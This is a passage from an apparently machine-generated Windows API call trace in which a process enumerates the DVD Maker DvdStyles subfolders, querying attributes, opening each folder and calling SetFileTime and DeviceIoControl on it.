fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.560] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.560] GetLastError () returned 0x12 [0055.560] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0af48) returned 1 [0055.560] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.561] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.561] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.561] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.561] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.562] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf14f38, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf14f38, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.562] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf14f38) returned 1 [0055.562] NtClose (Handle=0x180) returned 0x0 [0055.562] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.562] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.563] GetLastError () returned 0x12 [0055.563] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.563] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.564] GetLastError () returned 0x12 [0055.564] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0adb0) returned 1 [0055.564] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.564] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.564] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.564] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.565] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.565] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.565] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf15c40, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf15c40, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf15c40) returned 1 [0055.565] NtClose (Handle=0x134) returned 0x0 [0055.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.565] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.567] GetLastError () returned 0x12 [0055.567] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.567] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.567] GetLastError () returned 0x12 [0055.567] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0ae38) returned 1 [0055.567] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.568] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.568] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.568] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.569] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.569] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf14f38, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf14f38, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.569] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf14f38) returned 1 [0055.569] NtClose (Handle=0x180) returned 0x0 [0055.569] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.569] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.571] GetLastError () returned 0x12 [0055.571] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.571] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.571] GetLastError () returned 0x12 [0055.572] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0af48) returned 1 [0055.572] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.572] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.572] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.573] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.573] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.573] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf1a4c0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf1a4c0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.573] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf1a4c0) returned 1 [0055.573] NtClose (Handle=0x134) returned 0x0 [0055.573] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.573] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.575] GetLastError () returned 0x12 [0055.575] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.575] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.575] GetLastError () returned 0x12 [0055.575] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0b058) returned 1 [0055.575] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.576] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.576] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.576] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.576] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.576] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf1a540, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf1a540, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.576] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf1a540) returned 1 [0055.576] NtClose (Handle=0x180) returned 0x0 [0055.576] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.576] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.578] GetLastError () returned 0x12 [0055.578] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.578] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.578] GetLastError () returned 0x12 [0055.578] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0ae38) returned 1 [0055.578] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.579] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.579] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.579] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.580] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.580] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf1a540, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf1a540, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.580] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf1a540) returned 1 [0055.580] NtClose (Handle=0x134) returned 0x0 [0055.580] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.580] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.583] GetLastError () returned 0x12 [0055.583] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.583] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.583] GetLastError () returned 0x12 [0055.583] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0af48) returned 1 [0055.583] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.584] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.584] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.584] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.584] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.585] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.585] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf1df38, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf1df38, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf1df38) returned 1 [0055.585] NtClose (Handle=0x180) returned 0x0 [0055.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.585] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.587] GetLastError () returned 0x12 [0055.587] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.587] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.587] GetLastError () returned 0x12 [0055.587] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0b1f0) returned 1 [0055.587] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.588] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.588] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.588] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.588] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf1edc0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf1edc0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf1edc0) returned 1 [0055.588] NtClose (Handle=0x134) returned 0x0 [0055.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.588] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.590] GetLastError () returned 0x12 [0055.590] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.590] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.590] GetLastError () returned 0x12 [0055.590] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0ae38) returned 1 [0055.590] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.591] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.591] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.591] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.591] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.592] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.592] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf1fc88, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf1fc88, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.592] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf1fc88) returned 1 [0055.592] NtClose (Handle=0x180) returned 0x0 [0055.592] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.592] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.597] GetLastError () returned 0x12 [0055.597] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.597] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.597] GetLastError () returned 0x12 [0055.597] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0af48) returned 1 [0055.597] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0c960) returned 1 [0055.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.598] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.598] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, 